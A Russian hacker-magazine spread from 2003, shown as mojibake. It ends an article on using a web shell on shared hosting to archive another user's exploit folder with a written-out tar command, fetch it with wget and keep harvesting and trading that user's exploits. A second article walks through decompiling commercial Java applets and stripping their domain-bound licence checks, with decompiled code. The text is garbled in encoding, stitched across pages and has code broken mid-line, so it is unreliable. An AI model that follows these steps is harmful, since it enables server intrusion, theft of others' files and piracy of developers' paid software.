Íå ðàññòðàèâàéñÿ, âèäèìî, âñå ïîëüçîâàòåëè<br />
õîñòèíãà ïîðÿäî÷íûå ëþäè è íå õðàíÿò íà íåì<br />
ýêñïëîèòîâ :). Îáðàçöîâûé âçëîìùèê íèêîãäà íå<br />
âûëîæèò ýêñïëîèòû íà web.  ëþáîì ñëó÷àå íå<br />
òåðÿé íàäåæäû è èùè ñëåäóþùóþ æåðòâó äëÿ ïîâòîðà<br />
îïåðàöèè :).<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
Ìîæåøü ñêà÷àòü ñêðèïò ñ<br />
http://kamensk.net.ru/forb/1/x/script_locate.tar.gz. Ïîïðîáóé<br />
ìîäèôèöèðîâàòü åãî è îòòî÷èòü äëÿ ëþáîé ñèòóàöèè<br />
ëåãêîãî ïîèñêà ýêñïëîèòîâ.<br />
Ñòÿãèâàåì äîáðî<br />
ÀÐÕÈÂÀÖÈß È ÄÎÁÛ×À ÍÀÉÄÅÍÍÎÃÎ<br />
Åñëè âñå ïðîøëî ãëàäêî, è òû íàøåë ïàïî÷êó hack<br />
íà õîñòèíãå ;), ïðèñòóïàé ê åå ñæàòèþ è ñòÿãèâàíèþ<br />
ñ ñåðâåðà. Ïðè õîðîøåì êàíàëå ìîæåøü óòÿíóòü<br />
åå ñàì, íî ÿ áû ñîâåòîâàë òåáå ñäåëàòü ýòî ñ<br />
êàêîãî-íèáóäü øåëëà, ÷òîáû íå ïàëèòüñÿ ëèøíèé<br />
ðàç. Àðõèâèðîâàòü æå ëó÷øå â òó ïàïêó, ãäå òû<br />
ñåé÷àñ þçàåøü web-shell:<br />
$ tar zcf hack.tar.gz /home/user/public_html/hack<br />
Çàòåì çàáèðàåøü ñ äðóãîãî øåëëà ýòó ïàïêó<br />
wget'îì, ðàñïàêîâûâàåøü è ñìîòðèøü âíóòðåííîñòè.<br />
Õîðîøèå ýêçåìïëÿðû îòêëàäûâàåøü è âûêà-<br />
÷èâàåøü ñåáå (ìíå ëè òåáÿ ó÷èòü ñîðòèðîâêå? ;)).<br />
Âçÿòèå ñïëîèòîâ äèðåêòîì ñ âåáà - ìàëîâåðîÿòíî<br />
è îïàñíî. Âî-ïåðâûõ, ïîëüçîâàòåëü, ñêîðåå âñåãî,<br />
ñîçäàë .htaccess äëÿ äèðåêòîðèè, òàê ÷òî êàòàëîã<br />
áóäåò ëèáî çàùèùåí ïàðîëåì, ëèáî çàêðûò äëÿ<br />
ïðîñìîòðà. Âî-âòîðûõ, âåäóòñÿ ëîãè, è, âîçìîæíî,<br />
ïîëüçîâàòåëü èõ ñìîòðèò. À åñëè òû äàëüíîâèäíûé<br />
÷åëîâåê, òî, íàâåðíîå, ïðîñåê ôèøêó, ÷òî<br />
þçåð, íå çíàÿ, ÷òî çà íèì ñëåäÿò, áóäåò ïîïîëíÿòü<br />
ñâîé àðõèâ, à òû ýòèì áóäåøü ïîëüçîâàòüñÿ<br />
è ñòÿãèâàòü 0day êàæäûé ðàç :). Ê òîìó æå, ó òåáÿ<br />
îòêðûâàåòñÿ âîçìîæíîñòü òðåéäèòü ýêñïëîèòû,<br />
÷òî âåñüìà ïðèáûëüíî.<br />
ÏÎÌÎÃÈ ÑÅÁÅ ÑÀÌ<br />
Âñå âûøåîïèñàííîå, êîíå÷íî, õîðîøî. Òû ìîæåøü<br />
äîâîëüñòâîâàòüñÿ äîáûòûìè ýêñïëîèòàìè,<br />
ïðîäàâàòü èõ, ëèáî èñïîëüçîâàòü ïî ïðÿìîìó íàçíà÷åíèþ.<br />
Íî çàïîìíè ñàìîå ãëàâíîå! Íå ïîâòîðÿé<br />
îøèáîê âûøåîïèñàííûõ èíäèâèäóóìîâ.<br />
Î÷åíü íå ñîâåòóþ âûêëàäûâàòü ÷òî-ëèáî íà âåá, à<br />
åñëè è íóæíî, òî òîëüêî íà ñâîåì ñåðâåðå è ïîä<br />
ïàðîëü. È ñëåäè çà áåçîïàñíîñòüþ, ÷åìó<br />
ïîñòîÿííî ó÷èò òåáÿ íàø æóðíàë :).<br />
1 2 3 4<br />
62 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
Âçëîì<br />
ÂÇËÎÌ JAVA-ÀÏÏËÅÒÎÂ<br />
Àíäðåé Êàðîëèê (andrusha@sl.ru)<br />
ÇÀÙÈÒÀ<br />
Ïðåæäå ÷åì ëîìàòü, ïðîÿñíþ ñèòóàöèþ - ÷òî íåõîðîøåãî<br />
íàâåøèâàþò íà àïïëåòû, è ñ ÷åì, ñîáñòâåííî,<br />
ïðåäñòîèò áîðîòüñÿ. Íàèáîëåå ðàñïðîñòðàíåííûõ<br />
âàðèàöèé íå òàê ìíîãî, à îñîáî èçîùðåííûå<br />
ìåòîäû ðàññìàòðèâàòü íå áóäó, ê òîìó æå<br />
çà÷àñòóþ îíè ïðåäñòàâëÿþò ñîáîé ñìåñü áîëåå<br />
ïðîñòûõ. Èòàê, â ñëó÷àéíîì ïîðÿäêå.<br />
ÒÐÈÀËÊÈ<br />
Êàê è â îáû÷íûõ òðèàëüíûõ ïðîãàõ åñòü ïðèâÿçêà<br />
ê òåêóùèì äàòå è âðåìåíè. Òî åñòü ïåðåä âûïîëíåíèåì<br />
âñåõ íàâîðîòîâ àïïëåòà ñòîèò ìàëåíüêàÿ<br />
ïðîöåäóðà, êîòîðàÿ ñìîòðèò, êàêîå íûí÷å ÷èñëî,<br />
è ñðàâíèâàåò ñ çàáèòîé âíóòðè îòñ÷åòíîé äàòîé.<br />
Åñëè ðàçíèöà ïðåâûøàåò äîïóñòèìóþ, òî âûáðàñûâàåòñÿ<br />
ëîãè÷åñêèé ôëàæîê, âûïîëíåíèå êîäà<br />
èäåò â îáõîä îñíîâíîé ïðîöåäóðû, à òåáå âûäàåòñÿ<br />
ñîîáùåíèå òèïà "Òâîå âðåìÿ âûøëî, íàêðûâàéñÿ<br />
áåëîé ïðîñòûíåé è ïîëçè â ñòîðîíó êëàäáèùà<br />
:)." È ïðåäëàãàåòñÿ åùå âàðèàíò: ïëàòèøü N<br />
áàêñîâ è âñå áóäåò îê. Òðèàëüíûé âàðèàíò âñòðå-<br />
÷àåòñÿ íå òàê ÷àñòî.  îòëè÷èå îò îáû÷íûõ ïðîã,<br />
êîòîðûå áåðóò çà îòñ÷åò äåíü óñòàíîâêè, àïïëåò<br />
íå óñòàíàâëèâàåòñÿ. Ïîýòîìó àâòîð àïïëåòà îòñ÷åòíóþ<br />
äàòó äîëæåí çàáèâàòü âðó÷íóþ.<br />
ÏÐÈÂßÇÊÀ Ê ÄÎÌÅÍÓ<br />
Ðàñïðîñòðàíåííûé âàðèàíò çàùèòû. Àïïëåò ñìîòðèò<br />
àáñîëþòíûé àäðåñ â èíåòå, ïî êîòîðîìó òû<br />
åãî âûêëàäûâàåøü, è ñ ïîìîùüþ õèòðîóìíîé ìåãàôîðìóëû<br />
âûñ÷èòûâàåò ñîîòâåòñòâóþùèé êëþ÷<br />
(îáû÷íî ÷èñëîâîé), êîòîðûé íåîáõîäèìî ââåñòè â<br />
ÂÇËÎÌ<br />
JAVA-<br />
À Ï Ï Ë Å Ò Î Â<br />
ÏÐÀÊÒÈ×ÅÑÊÎÅ ÏÎÑÎÁÈÅ Ñ ÊÀÐÒÈÍÊÀÌÈ ;)<br />
Õî÷åòñÿ ðàçìåñòèòü ó ñåáÿ íà ïàãå ÷òî-íèáóäü ýòàêîå, èíòåðåñíåíüêîå è ïðîäâèíóòîå, ÷åãî íåòó ó äðóãèõ:<br />
ïðèêîëüíóþ àíèìàøêó, çàåäàòåëüñêèé ñêðèïòèê, ïðîäâèíóòûé ÿâà-àïïëåòèê? Ñàìîìó äåëàòü - äîëãî è íóäíî<br />
;), à õî÷åòñÿ çäåñü è ñåé÷àñ. Íå âîïðîñ. Ñóùåñòâóåò ìíîæåñòâî ñàéòîâ, íà êîòîðûõ òîëïû æåëàþùèõ âûêëàäûâàþò<br />
ñâîè òâîðåíèÿ. Íå ñêàæó, ÷òîáû ãåíèàëüíûå, íî ïîðîé âñòðå÷àþòñÿ î÷åíü íåïëîõèå çàäóìêè. Ñ<br />
àíèìàøêàìè è ñêðèïòàìè ïðîñòî: íàøåë, ñêà÷àë, ïîèìåë ;). Àïïëåòû æå íå âñåãäà, ê ñîæàëåíèþ, ðàñïðîñòðàíÿþò<br />
èç ÷èñòîãî àëüòðóèçìà.  íàãðóçêó ñ àïïëåòîì èäåò îáÿçàòåëüíàÿ ðåêëàìà àâòîðà, íåíóæíûå<br />
ññûëêè è ïðî÷èå îãðàíè÷åíèÿ. Ïðè÷åì óáðàòü ýòè äîïîëíèòåëüíûå ðåêëàìíûå øòó÷êè àâòîð ïðåäëàãàåò<br />
ñàì, íî çà çåëåíûå ôàíòèêè. Åãî òîæå ìîæíî ïîíÿòü - êóøàòü õî÷åò. Íå ïðîéäåò! Çàõàïàåì íà õàëÿâó.<br />
êà÷åñòâå îäíîãî èç ïàðàìåòðîâ ìåæäó òåãàìè<br />
è . Åñëè êëþ÷ íå ââåäåí èëè<br />
íå ñîîòâåòñòâóåò, òî àïïëåò íà÷èíàåò øàëèòü: íå<br />
ðàáîòàåò, ëèáî ðàáîòàåò íåïîëíîöåííî è âûäàåò<br />
ñòðàñòíûå ïðèâåòñòâèÿ îò àâòîðà :).<br />
ËÎÊÀËÜÍÀß ÂÅÐÑÈß<br />
Äðóãîé âàðèàíò ïðåäûäóùåé çàùèòû. Àïïëåò ñìîòðèò,<br />
ÿâëÿåòñÿ ëè àáñîëþòíûé àäðåñ, ñ êîòîðîãî<br />
åãî çàïóñêàþò, ëîêàëüíûì. Åñëè àäðåñ ëîêàëüíûé,<br />
òî àïïëåò ðàáîòàåò áåç âîïðîñîâ, à òû íàñëàæäàåøüñÿ<br />
çàëîæåííûìè â íåãî âîçìîæíîñòÿìè. Íî<br />
ñòîèò âûëîæèòü ýòîò æå àïïëåò â èíåò, îí íà÷èíàåò<br />
êàïðèçíè÷àòü è ïîñûëàòü òåáÿ íà... ñàéò ê àâòîðó<br />
çà ïîäðîáíîñòÿìè :).<br />
ÄÅÌÎ-ÂÑÒÀÂÊÈ<br />
Íàèáîëåå ïîïóëÿðíàÿ çàùèòà. Íåò íèêàêèõ ïðèâÿçîê,<br />
è íåçàâèñèìî îò âðåìåíè ãîäà àïïëåò ïîëíîñòüþ<br />
ðàáîòîñïîñîáåí, íî âûäàåò âñÿêóþ äåìî-ëàáóäó.<br />
Ëèáî ñòàòè÷íî ãäå-íèáóäü â óãëó, ëèáî â ñàìîì<br />
íà÷àëå ïîñëå çàïóñêà. Î÷åíü íåðâèðóåò è âûçûâàåò<br />
æåëàíèå îòîðâàòü àâòîðó êàê ìèíèìóì ãîëîâó :).<br />
ÑÑÛËÊÈ ÍÀ ÀÂÒÎÐÀ<br />
Ýòîò áðåä ìîæíî óâèäåòü äàæå â ÿêîáû ñîâåðøåííî<br />
áåñïëàòíûõ àïïëåòàõ. ß ïîíèìàþ, ÷òî àâòîð<br />
óáèë êó÷ó âðåìåíè è çàðàáîòàë íàòóðàëüíûé<br />
ãåìîððîé, äåëàÿ ýòîò àïïëåò :). Ðåñïåêò åìó â<br />
áîëüíèöó. Íî ÿ íå õî÷ó ïîñòîÿííî âèäåòü åãî ìûëî<br />
èëè ññûëêó íà ñàéò. Îñîáî óìíûå çàñîâûâàþò<br />
ýòó ññûëêó òîëüêî íà äâîéíîé êëèê èëè íàæàòèå<br />
ïðàâîé êíîïêè ìûøè. Îò ýòîãî, ïðàâäà, íå ëåã÷å.<br />
ÏÐÈÂßÇÊÀ Ê ÏÀÐÀÌÅÒÐÀÌ<br />
Äîñòàòî÷íî ðàñïðîñòðàíåííûé âèä çàùèòû. Îñîáåííî<br />
äëÿ àïïëåòîâ, â êîòîðûõ çàäàåòñÿ ìíîæåñòâî<br />
ðàçíîîáðàçíûõ ïàðàìåòðîâ ÷åðåç òåãè<br />
è . Àâòîð äëÿ õàëÿâùèêîâ íàìåðåííî<br />
óðåçàåò äèàïàçîí èõ èçìåíåíèÿ èëè âîîáùå<br />
æåñòêî ôèêñèðóåò. Äðàçíèò êîíôåòêîé, çàðàçà,<br />
äàåò îáëèçàòü, íî íå äàåò ñêóøàòü :).<br />
ÏÐÎ×ÅÅ<br />
Ê ïðî÷èì ìîæíî îòíåñòè âñå äðóãèå ìûñëèìûå è<br />
íåìûñëèìûå îãðàíè÷åíèÿ, êîòîðûå ìîæåò ïðèäóìàòü<br />
âîñïàëåííûé ìîçã ðàçðàáîò÷èêà àïïëåòà.<br />
Ðàáîòàåò ïî ñõåìå: ýòî äåëàåò, òî íå äåëàåò, ýòî<br />
äåëàåò, íî òîëüêî òàê, è ò.ï.<br />
ÏÎÄÃÎÒÎÂÊÀ<br />
Ñàìîå ñìåøíîå, ÷òî ïî÷òè âñåãäà àïïëåòû ïîëíîñòüþ<br />
ðàáîòîñïîñîáíû. Ýòî íå ñëó÷àéíî, òàê êàê àâòîð<br />
õî÷åò ïðîäåìîíñòðèðîâàòü âñå çàëîæåííûå âîçìîæíîñòè,<br />
÷òîáû çàâëå÷ü ïîòåíöèàëüíîãî ïîêóïàòåëÿ.<br />
Ïîêóïàþò ïóñòü òóïûå òîëñòîñóìû, à òåáå íóæíî<br />
âñåãî ëèøü èçáàâèòüñÿ îò íàçîéëèâîé çàùèòû îò<br />
äóðàêîâ. Òî åñòü íåîáõîäèìî áàíàëüíî óäàëèòü èëè<br />
ïîäêîððåêòèðîâàòü â êîäå ïðîöåäóðû, ñ ïîìîùüþ<br />
êîòîðûõ îñóùåñòâëÿåòñÿ çàùèòà. Äëÿ ýòîãî íóæíû<br />
ìèíèìàëüíûå çíàíèÿ ñèíòàêñèñà Java è èñõîäíèê<br />
(÷èòàé java-ôàéë). Ñèíòàêñèñ Java - îòäåëüíàÿ è<br />
áîëüøàÿ òåìà, òàê ÷òî ÷èòàé óìíûå êíèæêè, ðîéñÿ â<br />
ìàíóàëå, ñìîòðè ïîáîëüøå èñõîäíèêîâ ñ êîììåíòàðèÿìè<br />
è íàáèðàéñÿ îïûòà. Â êîíöå êîíöîâ, ïîñìîòðè<br />
ðåàëüíûå ïðèìåðû, íà êîòîðûõ ÿ íèæå ïîêàæó,<br />
êàê íàäî êîððåêòíî âû÷èùàòü íåíóæíûé ìóñîð èç<br />
1 2 3 4<br />
64 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
èñõîäíîãî êîäà. Èñõîäíèêè ê "ãðÿçíûì" àïïëåòàì,<br />
åñòåñòâåííî, íå ïðèëàãàþòñÿ. Íî îíè íå ïîíèìàþò,<br />
ñ êåì èìåþò äåëî :), õâàòèò è áàéò-êîäà (classôàéë).<br />
Îñòàëüíîå çà òåáÿ ñäåëàåò Java Code Viewer.<br />
ÍÓÆÅÍ ËÎÌ<br />
Åñëè åñòü òîëüêî áàéò-êîä, à íóæåí èñõîäíèê, òî<br />
ñïàñàåò îòëè÷íàÿ ïðîãðàììêà - NMI's Java Code<br />
Viewer. Ýòî äåêîìïèëÿòîð è äèçàññåìáëåð javaïðîãðàìì<br />
â îäíîì ôëàêîíå. Êàê íàïèñàíî â ìàíóàëå,<br />
ïðåêðàñíûé èíñòðóìåíò äëÿ èññëåäîâàíèÿ<br />
êîäà ÷óæèõ ïðîãðàìì.<br />
Ïðîãà î÷åíü ïðîñòàÿ è áåç ëèøíèõ íàâîðîòîâ â èíòåðôåéñå.<br />
Äëÿ ðàáîòû íóæíî óñòàíîâèòü èíñòðóìåíòàðèé<br />
JDK (Java Development Kit) íå íèæå âåðñèè<br />
1.2, áåñïëàòíî óòÿãèâàé åãî ñ http://java.sun.com.<br />
Java Code Viewer ñïîñîáåí âîññîçäàòü èñõîäíûé êîä<br />
(äåêîìïèëèðîâàòü) èç äâîè÷íûõ ôàéëîâ Java êëàññîâ<br />
(èç áàéò-êîäà) è ñîçäàòü íèçêîóðîâíåâûé java<br />
áàéòîâûé êîä. Ïîñëåäíåå - ýòî äèçàññåìáëèðîâàíèå,<br />
â íàøåì ñëó÷àå ñîâåðøåííî íå íóæíî. Íà äîñóãå<br />
ìîæåøü ïîèãðàòüñÿ. Äëÿ íàøèõ öåëåé ïîíàäîáèòñÿ<br />
òîëüêî äåêîìïèëÿöèÿ.<br />
ÌÀØÅÌ ËÎÌÎÌ<br />
Çàïóñêàåøü Java Code Viewer, ïðåäâàðèòåëüíûé<br />
ïðîãðåâ íå òðåáóåòñÿ :). Åñëè õî÷åøü ïîñëå äåêîìïèëÿöèè<br />
ñðàçó ïîëó÷èòü *.java ôàéë, òî ñäåëàé óñòàíîâêó<br />
Options -> Decompilation Format -> Java.<br />
Ïî óìîë÷àíèþ ïèøåò â *.nmi, ÷òîáû ñëó÷àéíî íå<br />
çàïèñàòü ïîâåðõ ðåàëüíîãî èñõîäíèêà, åñëè îí<br />
åñòü.  íàøåì ñëó÷àå åãî èçíà÷àëüíî íåò. Åñëè<br />
àïïëåò çààðõèâèðîâàí, òî ïðåäâàðèòåëüíî åãî ðàçàðõèâèðóé:<br />
File -> Extract Jar Archive (äëÿ *.jar)<br />
èëè File -> Extract Zip Archive (äëÿ *.zip). À äàëåå<br />
âûäåëè íóæíûå êëàññû (*.class), êîòîðûå õî÷åøü<br />
äåêîìïèëèðîâàòü, è âïåðåä: Process -> Decompile.<br />
Ñåêóíäíîå äåëî - è èñõîäíèêè â êàðìàíå.<br />
ËÎÌÊÀ<br />
Âåñü ïðîöåññ ìîæíî óñëîâíî ðàçäåëèòü íà îòäåëüíûå<br />
ýòàïû: ïîèñê íóæíîãî àïïëåòà â èíåòå,<br />
ñêà÷èâàíèå åãî áàéò-êîäà (ñàì àïïëåò), âûòÿãèâàíèå<br />
èç íåãî èñõîäíîãî êîäà, âíåñåíèå òðåáóåìûõ<br />
èçìåíåíèé íåïîñðåäñòâåííî â èñõîäíèê è êîìïèëÿöèÿ<br />
àïïëåòà çàíîâî.<br />
ÏÎÈÑÊ È ÑÊÀ×ÊÀ<br />
Ïðîöåññ áîëüøå ñòèõèéíûé, ÷åì ñèñòåìàòèçèðîâàííûé.<br />
Èñêàòü ìîæíî ÷åðåç ïîèñêîâèê, îïèñàâ<br />
òðåáóåìûå âîçìîæíîñòè àïïëåòà, íà ñàéòàõ, ãäå<br />
âûëîæåíû ãîðû àïïëåòîâ (ôðèâàðíûõ è øàðîâàðíûõ),<br />
íà ñàéòàõ êîíòîð èëè èíäèâèäóàëîâ, ñïåöèàëèçèðóþùèõñÿ<br />
íà ñîçäàíèè åäèíè÷íûõ è íàâîðî÷åííûõ<br />
àïïëåòîâ, ëèáî ïðîñòî ãóëÿÿ ïî ðàçíûì<br />
ïàãàì, ãäå óæå èñïîëüçîâàíû êàêèå-ëèáî àïïëåòû.<br />
Êîìó êàê íðàâèòñÿ. Åñëè ññûëêà íà àïïëåò<br />
âûñòàâëåíà, òî êà÷àé áåç ïðîáëåì. Åñëè ññûëêè<br />
íåò, òî ïîëåçàé âíóòðü HTML-ôàéëà, ñìîòðè â òåãå<br />
àäðåñ ê àïïëåòó è âûêà÷èâàé ïðîãîé<br />
òèïà GetRight.<br />
ÄÅÊÎÌÏÈËßÖÈß<br />
Äåëàåòñÿ çà ñ÷èòàííûå ñåêóíäû ïðè ïîìîùè<br />
NMI's Java Code Viewer (ñì. âûøå). Åñëè àïïëåò<br />
õàëÿâíûé, òî çà÷àñòóþ èñõîäíèê ê íåìó óæå ïðèëàãàåòñÿ,<br />
è ïàðèòüñÿ íå íàäî.<br />
ÓÄÀËÅÍÈÅ ÌÓÑÎÐÀ<br />
Îñòàíåòñÿ óäàëèòü òó ÷àñòü êîäà, êîòîðàÿ îòâå÷àåò<br />
çà íàäîåäëèâóþ ðåêëàìíóþ íàäïèñü èëè äðóãóþ<br />
íàâÿçàííóþ øíÿãó. Â ïðèíöèïå, èñõîäíûé<br />
êîä íà Java ìîæíî ÷èòàòü è ðåäàêòèðîâàòü äàæå â<br />
îáû÷íîì NotePad. Íî ïîñëå âíåñåíèÿ èçìåíåíèé<br />
ïîíàäîáèòñÿ ñäåëàòü ïðîâåðêó íà êîððåêòíîñòü<br />
óäàëåíèÿ êóñêîâ êîäà, îáúÿâëåíèé ïåðåìåííûõ,<br />
êîòîðûå âõîäèëè â óäàëåííûå ÷àñòè êîäà, ññûëîê<br />
íà ýòè ïåðåìåííûå è äðóãèõ îïåðàöèé ñ ýòèìè<br />
ïåðåìåííûìè â äðóãèõ ìåñòàõ èñõîäíèêà. Ïðîùå<br />
âñåãî ýòî äåëàòü â âèçóàëüíûõ ñðåäñòâàõ ðàçðàáîòêè<br />
Java-ïðèëîæåíèé è àïïëåòîâ. Ñàìûì ëó÷øèì<br />
ñðåäñòâîì ñ÷èòàåòñÿ Borland JBuilder, ýòîé<br />
ïðîãîé è ñîâåòóþ âîñïîëüçîâàòüñÿ.<br />
ÊÎÌÏÈËßÖÈß<br />
Êîãäà óäàëèøü íå÷èñòîòû, íîâûé àïïëåò äëÿ äàëüíåéøåãî<br />
èñïîëüçîâàíèÿ íåîáõîäèìî îòêîìïèëèðîâàòü,<br />
â ðåçóëüòàòå ïîëó÷èòñÿ íîâûé class-ôàéë. Òóò<br />
óæå NotePad íå ïîìîæåò, è áåç JBuilder íå îáîéòèñü.<br />
ÏÐÈÌÅÐ ËÎÌÊÈ<br />
Òåïåðü ñàìîå âêóñíîå, ëîìàåì ðåàëüíûé àïïëåò.<br />
 êà÷åñòâå ïðèìåðà ÿ âûáðàë èíòåðåñíûå àïïëåòû,<br />
êîòîðûå äåéñòâèòåëüíî ìîãóò òåáå ïðèãîäèòüñÿ.<br />
Íà ïðèìåðå ÿ íàãëÿäíî ïîêàæó âåñü ïðîöåññ<br />
îò è äî. Ïîéìóò äàæå òå, êòî äî ýòîãî íå çíàë<br />
Java â ïðèíöèïå :).<br />
ÖÅËÜ ÍÓÌÅÐ ÎÄÈÍ<br />
Ïåðâûì ïî ñïèñêó ïîä óäàð ïîïàë ïðîåêò ET Applets<br />
(www.entanke.se), êîòîðûé çàíèìàåòñÿ ðàçðàáîòêîé<br />
äîâîëüíî êà÷åñòâåííûõ(!) àïïëåòîâ äëÿ âåáà è ïðèòîðãîâûâàåò<br />
èìè ïî 30 çåëåíûõ çà êîìïëåêò (10 ðàçíûõ<br />
àïïëåòîâ ñ âàðèàöèÿìè äëÿ êàæäîãî). Íåïîðÿäîê,<br />
áóäåì ëå÷èòü :). Óäîáíî, ÷òî ê êàæäîìó àïïëåòó<br />
åñòü íåñêîëüêî ïðèìåðîâ è ïîäðîáíàÿ, à ãëàâíîå äîñòóïíàÿ<br />
äîêóìåíòàöèÿ (íà àíãëèéñêîì). Çàùèòà àïïëåòîâ<br />
ñäåëàíà ïðèâÿçêîé ê äîìåííîìó èìåíè ñåðâàêà,<br />
êóäà òû èõ âûêëàäûâàåøü. Ïî õèòðîé ôîðìóëå,<br />
êîòîðàÿ çàøèòà âíóòðè àïïëåòà, ãåíåðèðóåòñÿ êëþ÷ è<br />
ñðàâíèâàåòñÿ ñ ââåäåííûì â ïàðàìåòðàõ àïïëåòà<br />
ìåæäó òåãàìè è . Åñëè îí íå ñîâïàäàåò,<br />
òî âñå àïïëåòû ðàáîòàþò, íî â ñàìîì íà÷àëå<br />
â ðåæèìå çàäåðæêè âûäàþò ñëåäóþùèé òåêñò "Demo<br />
version delay. Applet by Entanke. Only for private use.<br />
Click here for info!". Ãàäîñòü, êîðî÷å :).<br />
 ÏÐÎÖÅÑÑÅ<br />
Ñêà÷èâàåøü âåñü áîåêîìïëåêò ET Applets v2.22 âåñîì<br />
461 Êá. Âåñèò ïðèëè÷íî èç-çà áîëüøîãî êîëè-<br />
÷åñòâà ïðèìåðîâ è äîêóìåíòàöèè, ÷óâàê ïîðàáîòàë<br />
íà ñëàâó, ãðåõ íå âîñïîëüçîâàòüñÿ ïëîäàìè åãî<br />
òðóäà. Äëÿ òðåïàíàöèè âûáåðåì îäèí èç àïïëåòîâ,<br />
ê ïðèìåðó, ET_TextScroll. Îñòàëüíûå ëîìàþòñÿ ïî<br />
àíàëîãèè, òàê êàê çàùèòà íà âñåõ ñòîèò îäèíàêîâàÿ.<br />
Îòûñêèâàåøü êëàññ ýòîãî àïïëåòà,<br />
ET_TextScroll.class. Çàïóñêàåøü NMI's Java Code<br />
Viewer è îòêðûâàåøü â íåì ET_TextScroll.class, âûäåëÿåøü<br />
ìûøêîé è èãðàþ÷è âûáèðàåøü Process -><br />
Decompile. Çàñåêàåøü ðîâíî ïîëñåêóíäû :) è ïîëó-<br />
÷àåøü ãîòîâûé èñõîäíèê. Äàëåå çàïóñêàåøü<br />
JBuilder è ñîçäàåøü íîâûé ïðîåêò (File -> New<br />
Project). Ïðîåêò íàäî íàçâàòü ET_TextScroll è ïðîïèñàòü<br />
íåîáõîäèìûå ïóòè, ïîòîì ïðè êîìïèëÿöèè<br />
JBuilder âûïëþíåò ñîãëàñíî ýòèì íàñòðîéêàì ãîòîâûé<br />
àïïëåò è ïðîìåæóòî÷íûå ôàéëû. Äàëåå ñîçäàåøü<br />
íîâûé êëàññ (File -> New Class), îáçûâàåøü<br />
åãî òîæå ET_TextScroll è êîïèðóåøü â íåãî ñîäåðæèìîå<br />
äåêîìïèëèðîâàííîãî ET_TextScroll.java. Íè-<br />
÷åãî íå ìåíÿÿ â êîäå, çàïóñêàåøü íà êîìïèëÿöèþ<br />
(Ctrl+Shift+F9), ÷òîáû ïðîâåðèòü íà íàëè÷èå îøèáîê,<br />
êîòîðûå ìîãëè ïîÿâèòüñÿ ïðè äåêîìïèëÿöèè.<br />
ÎÒËÎÂ ÎØÈÁÎÊ ÄÅÊÎÌÏÈËßÖÈÈ<br />
<br />
È äâå îøèáêè äåêîìïèëÿöèè åñòü. Ïåðâàÿ: ïðè<br />
äåêîìïèëÿöèè NMI's Java Code Viewer ïî÷åìó-òî<br />
íå ïðîïèñàë êîððåêòíî âñå èñêëþ÷åíèÿ, íî ýòî<br />
ýëåìåíòàðíî ïîïðàâèòü ðó÷êàìè. Íàõîäèøü âñå<br />
áëîêè ïåðåõâàòà èñêëþ÷åíèé catch, ê ïðèìåðó,<br />
catch(MalformedURLException), è ïåðåïèñûâàåøü<br />
êàê catch(MalformedURLException e).<br />
Âòîðàÿ: ïîñëå äåêîìïèëÿöèè â ìåòîäå parseNext()<br />
âìåñòî ïðîáåëà ïî÷åìó-òî ïðèáàâëÿåòñÿ 32. Íóæíî<br />
çàìåíèòü âûðàæåíèå space += 32 íà space +=<br />
' '. Ýòà îøèáêà íå ìåøàåò êîìïèëÿöèè, íî<br />
âñå ïðîáåëû â âûâîäèìîì òåêñòå áóäóò çàìåíÿòüñÿ<br />
÷èñëîì 32.<br />
5 6 7 8 9<br />
Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 65
Âçëîì<br />
ÂÇËÎÌ JAVA-ÀÏÏËÅÒÎÂ<br />
Àíäðåé Êàðîëèê (andrusha@sl.ru)<br />
private final void parseNext() {<br />
--- êóñîê êîäà ïðîïóùåí --case<br />
32: // ' '<br />
space += ' ';<br />
--- êóñîê êîäà ïðîïóùåí ---<br />
ÍÅÉÒÐÀËÈÇÀÖÈß ÇÀÙÈÒÛ<br />
Ïîñëå ýòèõ íåõèòðûõ òåëîäâèæåíèé êîìïèëÿöèÿ<br />
ïðîõîäèò áåç ïðîáëåì. Òåïåðü ïåðåõîäèøü ê èçó-<br />
÷åíèþ êîäà. À âîò è çàùèòà, ãåíåðàöèÿ êëþ÷à ïî<br />
äîìåíó è ñâåðêà ñ çàäàííûì ïðîèñõîäèò â ìåòîäå<br />
isDemoVersion(), ðàçáåðåì ïîäðîáíåå:<br />
private final boolean isDemoVersion() { // îáúÿâëåíèå<br />
ìåòîäà<br />
URL url1 = getDocumentBase(); // îïðåäåëåíèå<br />
äîìåííîãî èìåíè<br />
if(url1.getProtocol().equalsIgnoreCase("file")) //<br />
ïðîâåðêà, âûïîëíÿåòñÿ ëîêàëüíî èëè â èíåòå<br />
return false; // åñëè ëîêàëüíî, òî çàùèòà îòêëþ÷àåòñÿ<br />
char ac[] =<br />
url1.getHost().toLowerCase().toCharArray(); // èç<br />
äîìåííîãî èìåíè ñîçäàåòñÿ ñèìâîëüíûé ìàññèâ<br />
int i = 23093; // êàêîå-òî öåëîå ÷èñëî<br />
for(int j = 0; j < ac.length; j++) // çàöèêëèâàåòñÿ<br />
íà äëèíó ñèìâîëüíîãî ìàññèâà<br />
i ^= ac[j] this$0.AppletH - 24 &&<br />
this$0.mouseX < 120) { // åñëè êóðñîð íàõîäèòñÿ â<br />
ïðÿìîóãîëüíîé îáëàñòè 120õ24 ïèêñåëîâ â ëåâîì<br />
íèæíåì óãëó<br />
this$0.mousePressed = false; // ñíÿòèå ôëàæêà<br />
try { // îáðàáîòêà èñêëþ÷åíèÿ<br />
URL url = new URL("http://www.eigelb.at"); //<br />
çàäàåòñÿ óðë àâòîðà<br />
AppletContext appletcontext =<br />
this$0.getAppletContext(); // ññûëêà íà îêíî áðàóçåðà,<br />
â êîòîðîì çàãðóæåí àïïëåò<br />
appletcontext.showDocument(url, "_blank"); //<br />
çàãðóçêà óðëà â íîâîì îêíå áðàóçåðà<br />
}<br />
catch(MalformedURLException malformedurlexception)<br />
{ } // îáðàáîòêà èñêëþ÷åíèÿ<br />
this$0.mousePressed = false; // ñíÿòèå ôëàæêà<br />
} else { // åñëè êóðñîð íå íàõîäèòñÿ â ïðÿìîóãîëüíîé<br />
îáëàñòè 120õ24 ïèêñåëîâ â ëåâîì íèæíåì<br />
óãëó<br />
this$0.dragStartX = this$0.mouseX; // íà÷àëüíàÿ<br />
1 2 3 4<br />
